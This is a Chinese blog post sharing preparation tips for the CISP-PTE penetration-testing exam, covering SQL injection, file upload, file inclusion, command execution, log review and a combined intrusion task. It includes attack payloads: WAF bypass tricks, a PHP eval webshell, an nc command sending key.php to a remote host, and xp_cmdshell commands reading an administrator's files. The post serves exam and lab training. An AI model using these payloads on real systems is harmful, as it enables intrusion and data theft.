cisp-pte考试经验分享

原创

乌毕力格 于 2021-07-16 14:33:01 发布 4479 收藏 44
分类专栏： 网络安全工程师 文章标签： 网络安全 数据库 linux java python
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/asd2588258/article/details/118796949
版权


网络安全工程师 专栏收录该内容
9 篇文章 3 订阅
订阅专栏

CISP-PTE 注册渗透测试工程师考试 总结&&经验分享

cisp视频教程：https://download.csdn.net/download/asd2588258/20323819

前几天刚在西安考完了PTE的考试，在四叶草十天的学习感觉也是收获满满。
首先，先总结一下考试的内容。题型分为选择题和实操题两部分。满分为100分，选择题有20道，共20分，主要考查一下安全方面的基础知识。

剩下的为80分的实操题，分为6个大题。

1. SQL注入（通常为mysql数据库）
2. 文件上传漏洞
3. 文件包含漏洞
4. 命令执行漏洞
5. 日志审计
6. 综合渗透分析（分为3道小题）
   第一题为SQL注入的题，个人觉得SQL注入的题就是多练习，把常见的各种姿势练熟悉，以及绕常规的WAF的技巧掌握了就基本上没什么问题了。另外可以吧sqli-lab上基础的sql注入题目给刷一遍，可以说就是触类旁通了。
   分享一下我自己总结的针对考试中SQL注入题目的技巧和套路：
7. 先判断注入点，一般用单引号’来报错
8. 判断错误类型，使前面的SQL语句闭合掉
9. 并注释掉后面的SQL语句，通常用#（%23），–+来注释掉
10. 判断有多少列，用order by语句，在一开始不清楚的情况下可以用二分法，假如order by 10 ，如果报错就取一半5，直到试出那个值为止
11. 接着就是使用联合查询union select来查询想要的内容了，但这里有个小trick，union select 1,2,3,4 ……判断每一列出现的位置。因为有的列在页面上是并不显示出来的，所以要将sql语句插到合适的位置。
12. 但是可能会遇到waf，比如把空格给过滤掉了怎么办？可以用**//这个多行注释来搞定，一个//**相当于一个空格。遇到关键词被过滤，通常考试只会过滤一两次，如过滤了一次union，就可以换成ununionion来绕过waf。
13. 最后一般需要读取一个文件，key就放在这里面的，用load_file()函数就ok了
14. 另外一个关于concat()函数的使用，我推荐一篇我之前在i春秋上公众号上看到的文章
    https://mp.weixin.qq.com/s/OTlETliQid5zngBA9Ooylg
    以上只针对考试会用到的小trick，自己总结的可能不足或缺漏，欢迎大家能补充。
    第二题为文件上传漏洞的题目，简单来说就是上传一句话木马拿shell。把常规思路理清就很easy了。
15. 先上传一个正常的图片获取到文件的路径和文件名信息
16. 自己做一个图片马，就是将一句话木马写入到图片里面去，再上传图片马看是否能成功
17. 用burp抓包修改文件的后缀名，考试通常是用的黑名单检测，php是肯定绕过不去的，所以就改为其他能被php解析的后缀，比如pht，php3等等。但是有一点需要注意，如果服务器是linux的话，对大小写是敏感的，所以就不要想通过大小写的方式去绕了
18. 根据路径信息，用菜刀连上去拿shell了
19. 文件上传通常会检测 后缀，content-type，文件大小，文件内容，文件头
    第三题为文件包含漏洞，分为远程文件包含和本地文件包含，远程文件包含利用是有前提条件的，需要在php.ini中开启相关的设置，但是考试中是不太可能远程包含的，毕竟要是可以的话，那么直接去包含第二题中的上传的shell不就搞定了吗，那还有什么考查的意义呢。所以就考虑本地文件包含了。当然这道题的思路有很多的，毕竟PHP是世界上最好的语言也不是没有道理，php里面有很多的伪协议可以用到。PHP 提供了一些杂项输入/输出（IO）流，允许访问 PHP 的输入输出流、标准输入输出和错误描述符， 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
    data://协议，经过测试官方文档上存在一处问题，经过测试PHP版本5.2，5.3，5.5，7.0；
    data:// 协议是是受限于allow_url_fopen的，官方文档上给出的是NO，所以要使用
    data://协议需要满足双on条件
    PHP.ini：
    data://协议必须双在on才能正常使用；
    allow_url_fopen ：on
    allow_url_include：on

cisp视频教程：https://download.csdn.net/download/asd2588258/20323819

php://input代表可以访问请求的原始数据，简单来说POST请求的情况下，php://input可以获取到post的数据。比较特殊的一点，enctype=”multipart/form-data” 的时候 php://input 是无效的。
PHP.ini：
allow_url_fopen ：off/on
allow_url_include：on
http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>
也可以POST如下内容生成一句话：

<?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST[“cmd”]）;?>’);?>
在include函数的使用上，经常会造成任意文件读取漏洞，而file_get_contents()和file_put_contents()这样函数下，常常会构成getshell等更严重的漏洞。

php://filter 读取源代码并进行base64编码输出，不然会直接当做php代码执行就看不到源代码内容了。条件：
不需要开启allow_url_fopen，仅php://input、 php://stdin、 php://memory和 php://temp 需要开启allow_url_include。php:// 访问各个输入/输出流（I/O streams），在CTF中经常使用的是php://filter和php://input，php://filter用于读取源码，php://input用于执行php代码。
第四题是命令执行漏洞，个人觉得考查的就是对linux命令的掌握程度，就是花式读取读取文件内容，总结的一些可以用到的命令。

除了常规的:

---

cat:由第一行开始显示内容，并将所有内容输出
tac:从最后一行倒序显示内容，并将所有内容输出
more:根据窗口大小，一页一页的现实文件内容
less:和more类似，但其优点可以往前翻页，而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n，显示时输出行号
tailf:类似于tail -f

Linux花式读取文件内容
ps:目标是获取flag.txt的内容
static-sh读取文件：
static-sh ./flag.txt
#输出结果：
./flag.txt: line 1: flag{this_is_a_test}: not found

---

paste读取文件:
paste ./flag.txt /etc/passwd
#输出结果：
flag{this_is_a_test} root□0:0:root:/root:/bin/bash
daemon□1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin□2:2:bin:/bin:/usr/sbin/nologin
sys□3:3:sys:/dev:/usr/sbin/nologin
sync□4:65534:sync:/bin:/bin/sync

---

diff读取文件 :
diff ./flag.txt /etc/passwd
#输出结果：
1c1,45
< flag{this_is_a_test}
\ No newline at end of file
—

cisp视频教程：https://download.csdn.net/download/asd2588258/20323819

root□0:0:root:/root:/bin/bash
daemon□1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin□2:2:bin:/bin:/usr/sbin/nologin
sys□3:3:sys:/dev:/usr/sbin/nologin
sync□4:65534:sync:/bin:/bin/sync

---

od读取文件
od -a ./flag.txt
#输出结果：
0000000 f l a g { t h i s _ i s _ a _ t
0000020 e s t }
0000024

---

bzmore读取文件:
bzmore ./flag.txt
#输出结果：
——> ./flag.txt <——
flag{this_is_a_test}

---

bzless读取文件：
bzless ./flag.txt
echo `bzless ./flag.txt`
#输出结果：
——> ./flag.txt <—— flag{this_is_a_test}

---

curl读取文件：
curl file:///home/coffee/flag

---

nc 传输文件
靶机：
nc 10.10.10.10 4444 < /var/www/html/key.php
接受机：
nc -l 4444 > key.txt

---

wget
wget url -P path

第五题是日志审计，这个通常没啥问题。
日志文件下载
分析：
(1)有内容都查看
(2)针对ip查找相关信息
响应状态 200
请求的网站目录
POST包和GET包
6.综合渗透
(1)尝试弱口令
(2)万能密码
(3)爆破
(4)其他漏洞
(5)目录扫描
(6)数据库配置文件
(7)1433连接数据库，获得后台账号密码
(8)寻找漏洞getshell
(9)文件上传绕过getshell
(10)报错获得路径
(11)菜刀链接获得第二个key
(12)获取敏感文件得到sa用户密码
(13)执行系统命令在管理员桌面获得key
exec master…xp_cmdshell ‘dir “C:\Documents and Settings\Administrator\桌面\” /A -D /B’
exec xp_cmdshell ‘type “C:\Documents and Settings\Administrator\桌面\key.txt”‘
总的来说，对于pte考试我个人的经验分享就这么多了，欢迎大家补充。
cisp视频教程：https://download.csdn.net/download/asd2588258/20323819